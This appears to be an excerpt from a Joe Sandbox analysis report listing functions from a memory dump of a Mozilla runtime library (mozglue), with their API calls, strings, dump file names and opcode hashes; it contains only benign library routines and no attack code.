Instruction ID: 65cb7c7827e21168f3e8d017ee54410001193ad44a528f2653378aa8afeb7e9f
Opcode Fuzzy Hash: 3a81b171f03f28492e5bf9d36eff73e833ea2f03804900f94fa414c5b04fdcd2
Instruction Fuzzy Hash: 3921C5B5B002649BDB119F15D440B9FBBB9EF89758F058019DD095B701DB31FD0ACAD2

Function 6CAEFF60 Relevance: 6.1, APIs: 4, Instructions: 83COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,80000001,80000000,?,6CB0D019,?,?,?,?,?,00000000,?,6CAFDA31,00100000,?), ref: 6CAEFFD3
memcpy.VCRUNTIME140(00000000,?,?,?,6CB0D019,?,?,?,?,?,00000000,?,6CAFDA31,00100000,?,?), ref: 6CAEFFF5
free.MOZGLUE(?,?,?,?,?,6CB0D019,?,?,?,?,?,00000000,?,6CAFDA31,00100000,?), ref: 6CAF001B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,6CB0D019,?,?,?,?,?,00000000,?,6CAFDA31,00100000,?,?), ref: 6CAF002A

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: memcpy$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 826125452-0
Opcode ID: bbcdc2da1a12ae1fce896017b978511e948151bdb83cbd02c57811cda84a0674
Instruction ID: 1306972a27a5c9a8327d0ec05979254594052118d2338d647c983a7da5f51da1
Opcode Fuzzy Hash: bbcdc2da1a12ae1fce896017b978511e948151bdb83cbd02c57811cda84a0674
Instruction Fuzzy Hash: B72106B2A002155FD7189E7CEC848AFB7BAEB893243250738E425D7780EA30AD4586D1

Function 6CB17930 Relevance: 6.1, APIs: 4, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 6CACBF00: ??0ios_base@std@@IAE@XZ.MSVCP140(?,?,?,?,6CB17A3F), ref: 6CACBF11
Part of subcall function 6CACBF00: ?init@?$basic_ios@DU?$char_traits@D@std@@@std@@IAEXPAV?$basic_streambuf@DU?$char_traits@D@std@@@2@_N@Z.MSVCP140(?,00000000,?,6CB17A3F), ref: 6CACBF5D
Part of subcall function 6CACBF00: ??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IAE@XZ.MSVCP140(?,6CB17A3F), ref: 6CACBF7E

?setprecision@std@@YA?AU?$_Smanip@_J@1@_J@Z.MSVCP140(?,00000012,00000000), ref: 6CB17968
??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEAAV01@_J@Z.MSVCP140(6CB1A264,6CB1A264), ref: 6CB1799A

Part of subcall function 6CAC9830: free.MOZGLUE(?,?,?,6CB17ABE), ref: 6CAC985B

??1?$basic_streambuf@DU?$char_traits@D@std@@@std@@UAE@XZ.MSVCP140 ref: 6CB179E0
??1ios_base@std@@UAE@XZ.MSVCP140 ref: 6CB179E8

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: U?$char_traits@$D@std@@@std@@$??0?$basic_streambuf@??0ios_base@std@@??1?$basic_streambuf@??1ios_base@std@@??6?$basic_ostream@?init@?$basic_ios@?setprecision@std@@D@std@@@2@_J@1@_Smanip@_U?$_V01@_V?$basic_streambuf@free
String ID:
API String ID: 3421697164-0
Opcode ID: 70e4673552366c014188c6756ab4600c43ca2ad7de7b48391c5de080297f0580
Instruction ID: c9bd7d11d4c5f71e3c0d38ad48b5d7fa06c5150888281cfc9b417d29a2013d6a
Opcode Fuzzy Hash: 70e4673552366c014188c6756ab4600c43ca2ad7de7b48391c5de080297f0580
Instruction Fuzzy Hash: 6F214C357043149BCB14DF28D889AAEBBA9FF89314F04881DE84A87355CB34A909CB92

Function 6CACB4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CACB4F5
AcquireSRWLockExclusive.KERNEL32(6CB3F4B8), ref: 6CACB502
ReleaseSRWLockExclusive.KERNEL32(6CB3F4B8), ref: 6CACB542
free.MOZGLUE(?), ref: 6CACB578

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: ac2bc5264f12acb6866cbdc2837669b31747fa12d0eb0d689af2cb1f0199f6da
Instruction ID: df778cdc2e09eada43c57db8a2a4f27051bd201252d047069ff6574395c3636b
Opcode Fuzzy Hash: ac2bc5264f12acb6866cbdc2837669b31747fa12d0eb0d689af2cb1f0199f6da
Instruction Fuzzy Hash: A6110630A04B45C7D3228F29D5007A6B3B0FF96319F14970AE84E53A02EBB2B5C58791

Function 6CAF3DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6CABF20E,?), ref: 6CAF3DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6CABF20E,00000000,?), ref: 6CAF3DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CAF3E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6CAF3E0E

Part of subcall function 6CAECC00: GetCurrentProcess.KERNEL32(?,?,6CAB31A7), ref: 6CAECC0D
Part of subcall function 6CAECC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6CAB31A7), ref: 6CAECC16

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: 0956bb3c6d56f2177dea96f722e23f9cb064d644ae7233fe7ade2d8fb334fc18
Instruction ID: 0ce3d5426380d67658751951c18d889f448ca5caa8ff0c68668e059de2b75f1c
Opcode Fuzzy Hash: 0956bb3c6d56f2177dea96f722e23f9cb064d644ae7233fe7ade2d8fb334fc18
Instruction Fuzzy Hash: 47F012B15002187BDB04AB54DC41DAF376DDF46628F040020FD1C57741D635BD5996F7

Function 6CB02050 Relevance: 6.0, APIs: 4, Instructions: 33threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CB0205B
AcquireSRWLockExclusive.KERNEL32(?,?,?,00000000,?,6CB0201B,?,?,?,?,?,?,?,6CB01F8F,?,?), ref: 6CB02064
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CB0208E
free.MOZGLUE(?,?,?,00000000,?,6CB0201B,?,?,?,?,?,?,?,6CB01F8F,?,?), ref: 6CB020A3

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 76e8d7922826e2f22867c495553b777fa1c09785b7d34274211ebc951d8d24f0
Instruction ID: 3f633ef50de74c9c0a8f17303793af2bf851e42fef033dd369c470fd9183fd37
Opcode Fuzzy Hash: 76e8d7922826e2f22867c495553b777fa1c09785b7d34274211ebc951d8d24f0
Instruction Fuzzy Hash: 46F0E9B5200B109BC7219F1AD88875FBBFCEF8A324F10051AE54A87711DB72A809CB96

Function 6CB020B0 Relevance: 6.0, APIs: 4, Instructions: 28threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CB020B7
AcquireSRWLockExclusive.KERNEL32(00000000,?,6CAEFBD1), ref: 6CB020C0
ReleaseSRWLockExclusive.KERNEL32(00000000,?,6CAEFBD1), ref: 6CB020DA
free.MOZGLUE(00000000,?,6CAEFBD1), ref: 6CB020F1

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 07e13df21ed9292864ea6d063a7f9ddded4c08ebecd6a38467fb71951d6c1ae4
Instruction ID: 3308f1594b90da822bba5f59cb4b872ef3f9e8df040bbb2876279acd1ce033ee
Opcode Fuzzy Hash: 07e13df21ed9292864ea6d063a7f9ddded4c08ebecd6a38467fb71951d6c1ae4
Instruction Fuzzy Hash: 52E0EC31700A244BC6305F29D80854EBBFDEF862157000516E40A83B00E775F54986D6

Function 6CB085B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6CB085D3

Part of subcall function 6CACCA10: malloc.MOZGLUE(?), ref: 6CACCA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6CB08725

Strings

map/set<T> too long, xrefs: 6CB08720

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: 8f4507e63071fe3ed2dd316b347ff4948ce6f3898f38a8be113fa5359d0678de
Instruction ID: 5afb694c281f1bb328cbfd167b7bb0e59dee32db10ae43469ec97f21eff85398
Opcode Fuzzy Hash: 8f4507e63071fe3ed2dd316b347ff4948ce6f3898f38a8be113fa5359d0678de
Instruction Fuzzy Hash: 72516674A00681CFD701CF18C184A5ABBF1FF5A328F1AC18AD8595BB52C736E985CF92

Function 6CABBD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6CABBDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6CABBE8F

Strings

0, xrefs: 6CABBE5B

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: cd209fde4c3d12cba050f0cd7f4b96b8583df0e6bcf832650037fd0d322980ab
Instruction ID: 61bc84ace9b8f1b95a48263d04d4577d29ef5bbf73f033a3aa4ed77b26417c5d
Opcode Fuzzy Hash: cd209fde4c3d12cba050f0cd7f4b96b8583df0e6bcf832650037fd0d322980ab
Instruction Fuzzy Hash: CE41AF71909745CFC711CF28D4C1A9BB7F8AF8A348F004B1DF985A7621D730E9998B82

Function 6CABF180 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(?,?), ref: 6CABF19B

Part of subcall function 6CADD850: EnterCriticalSection.KERNEL32(?), ref: 6CADD904
Part of subcall function 6CADD850: LeaveCriticalSection.KERNEL32(?), ref: 6CADD971
Part of subcall function 6CADD850: memset.VCRUNTIME140(?,00000000,?), ref: 6CADD97B

mozalloc_abort.MOZGLUE(?), ref: 6CABF209

Strings

d, xrefs: 6CABF1F5

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: CriticalSection$EnterLeavecallocmemsetmozalloc_abort
String ID: d
API String ID: 3775194440-2564639436
Opcode ID: e0788b78c3093614fffa9a859753a99a44e4c5c96559dff0c082e4cae9d7540d
Instruction ID: 6a8cb2d3ff1dca98d1769f212b04a2ee6cb8c3f4774049cf12a907c9450fd6ce
Opcode Fuzzy Hash: e0788b78c3093614fffa9a859753a99a44e4c5c96559dff0c082e4cae9d7540d
Instruction Fuzzy Hash: A5113A3AE0164986EB048F68DD511FEB37DDF46208B19551DDC09AB612EB31AAC4C390

Function 6CAF3CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CAF3D19
mozalloc_abort.MOZGLUE(?), ref: 6CAF3D6C

Strings

d, xrefs: 6CAF3D58

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: cce240c65e23b39a39c3203cac37de0b707d53f55703b20a435a2fd94cbfb282
Instruction ID: 0220ee58572e48928bce5778632969c118ee7bdc45759d3430de29a60d9d7a67
Opcode Fuzzy Hash: cce240c65e23b39a39c3203cac37de0b707d53f55703b20a435a2fd94cbfb282
Instruction Fuzzy Hash: 44110431E04688D7DF008B69CC154FDB775EF8A318B488619EC9897602FB30A9C9C7A1

Function 6CAC4730 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6CAC44B2,6CB3E21C,6CB3F7F8), ref: 6CAC473E
GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6CAC474A

Strings

GetNtLoaderAPI, xrefs: 6CAC4744

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetNtLoaderAPI
API String ID: 1646373207-1628273567
Opcode ID: 3901f63dca81b82c25780af81adf3ab9b58bff6f9a668b2869ab2962435f163d
Instruction ID: 3e96e3f9b8ae71b3d93f3a52a6daa090e3aa17c8ef6b2711a50418d12296fe3d
Opcode Fuzzy Hash: 3901f63dca81b82c25780af81adf3ab9b58bff6f9a668b2869ab2962435f163d
Instruction Fuzzy Hash: 0B01B5753042549FDF14AFA9D85462D7BF9FB9B316B084469EE09C7340CB74D8018F96

Function 6CB16DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6CB16E22
__Init_thread_footer.LIBCMT ref: 6CB16E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6CB16E1D

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: d7acaf9c9ee59e2de2379188ccb270e1021d56f3065c32f09ec6cde629e71857
Instruction ID: 45e191ffd474ea54dc93ebf1221728b63c8dd3db4507d7eb05f5bd7973c946b3
Opcode Fuzzy Hash: d7acaf9c9ee59e2de2379188ccb270e1021d56f3065c32f09ec6cde629e71857
Instruction Fuzzy Hash: 85F0E9767492C0CBDB209B68C950E997B72D717228F0412E7C40D87F71D731E95ACA93

Function 6CAC9E70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6CAC9EEF

Strings

NaN, xrefs: 6CAC9EC1
Infinity, xrefs: 6CAC9EB7

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: Init_thread_footer
String ID: Infinity$NaN
API String ID: 1385522511-4285296124
Opcode ID: b611310ac45b953cd78af80ebc6ef4ff1463c689266fd5891e16ea472d5f83e3
Instruction ID: 8e5e058f62517d78455637cb0758ba8d7529a61ad3aa31afb40d65df2935d9f8
Opcode Fuzzy Hash: b611310ac45b953cd78af80ebc6ef4ff1463c689266fd5891e16ea472d5f83e3
Instruction Fuzzy Hash: 41F0C8707003A1CBDB229F18E94DB983771B31731DF1416D6C50C0BB50D735A985CA82

Function 6CB15900 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

SetEnvironmentVariableW.KERNEL32(MOZ_SKELETON_UI_RESTARTING,6CB351C8), ref: 6CB1591A
CloseHandle.KERNEL32(FFFFFFFF), ref: 6CB1592B

Strings

MOZ_SKELETON_UI_RESTARTING, xrefs: 6CB15915

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: CloseEnvironmentHandleVariable
String ID: MOZ_SKELETON_UI_RESTARTING
API String ID: 297244470-335682676
Opcode ID: dc648670630c15a65a7195dd5b310abcff45c7f66be95804f039d680fd580a02
Instruction ID: 0ef3746f00ef3e18ab80d866a0ede5d226915dc3bb5f97411089f9c5d01050bb
Opcode Fuzzy Hash: dc648670630c15a65a7195dd5b310abcff45c7f66be95804f039d680fd580a02
Instruction Fuzzy Hash: 70E09A30248AA0ABCB204A7889087497BF89B52379F108944E46C83ED1C3B5A8488396

Function 6CACBED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15librarythreadCOMMON

Download Yara Rule

APIs

DisableThreadLibraryCalls.KERNEL32(?), ref: 6CACBEE3
LoadLibraryExW.KERNEL32(cryptbase.dll,00000000,00000800), ref: 6CACBEF5

Strings

cryptbase.dll, xrefs: 6CACBEF0

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: Library$CallsDisableLoadThread
String ID: cryptbase.dll
API String ID: 4137859361-1262567842
Opcode ID: 005e33e1c3d3e11fbe35a849d26c53ca605a9b94c51356c2f234d7383172dde4
Instruction ID: 8ce5b2151840b4badf0a24ad111c7ce188267f5bf5927d8388fbc31eb01ae645
Opcode Fuzzy Hash: 005e33e1c3d3e11fbe35a849d26c53ca605a9b94c51356c2f234d7383172dde4
Instruction Fuzzy Hash: 2ED0A732284518E6C710AA649C05B193B789701B25F10C420F31948891C7B29450CF41

Function 6CAB50E0 Relevance: 5.2, APIs: 4, Instructions: 213COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6CAB4E9C,?,?,?,?,?), ref: 6CAB510A
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6CAB4E9C,?,?,?,?,?), ref: 6CAB5167
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?), ref: 6CAB5196
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6CAB4E9C), ref: 6CAB5234

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 933be0c35787ef1d59b8af2b73a0f28f4363cc6c90fe8bc4464883a815d3fd0d
Instruction ID: 5b811fd36a69f771960ec16aad1e693a37772384b182ab22f7ba4330900230d5
Opcode Fuzzy Hash: 933be0c35787ef1d59b8af2b73a0f28f4363cc6c90fe8bc4464883a815d3fd0d
Instruction Fuzzy Hash: FD91B175905656CFCB14CF08D490A5ABBA5FF89318B28858CDC58AB715D772FC82CBE0

Function 6CAF08F0 Relevance: 5.2, APIs: 4, Instructions: 165COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CB3E7DC), ref: 6CAF0918
LeaveCriticalSection.KERNEL32(6CB3E7DC), ref: 6CAF09A6
EnterCriticalSection.KERNEL32(6CB3E7DC,?,00000000), ref: 6CAF09F3
LeaveCriticalSection.KERNEL32(6CB3E7DC), ref: 6CAF0ACB

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 1d97188201470b60fb387921acd57817220e1118379a34a6e99ccecca8fb79af
Instruction ID: 0a52bb397d6b14d60f4e2a4e67a49e9a4f2ba97775fc7f597dac86364ff64bbf
Opcode Fuzzy Hash: 1d97188201470b60fb387921acd57817220e1118379a34a6e99ccecca8fb79af
Instruction Fuzzy Hash: 9A513D367066D4CFEB18AA55C44466E33B5EB85B24729813BED7997F80DB30EC8686C0

Function 6CB159C0 Relevance: 5.2, APIs: 4, Instructions: 155COMMON

Download Yara Rule

APIs

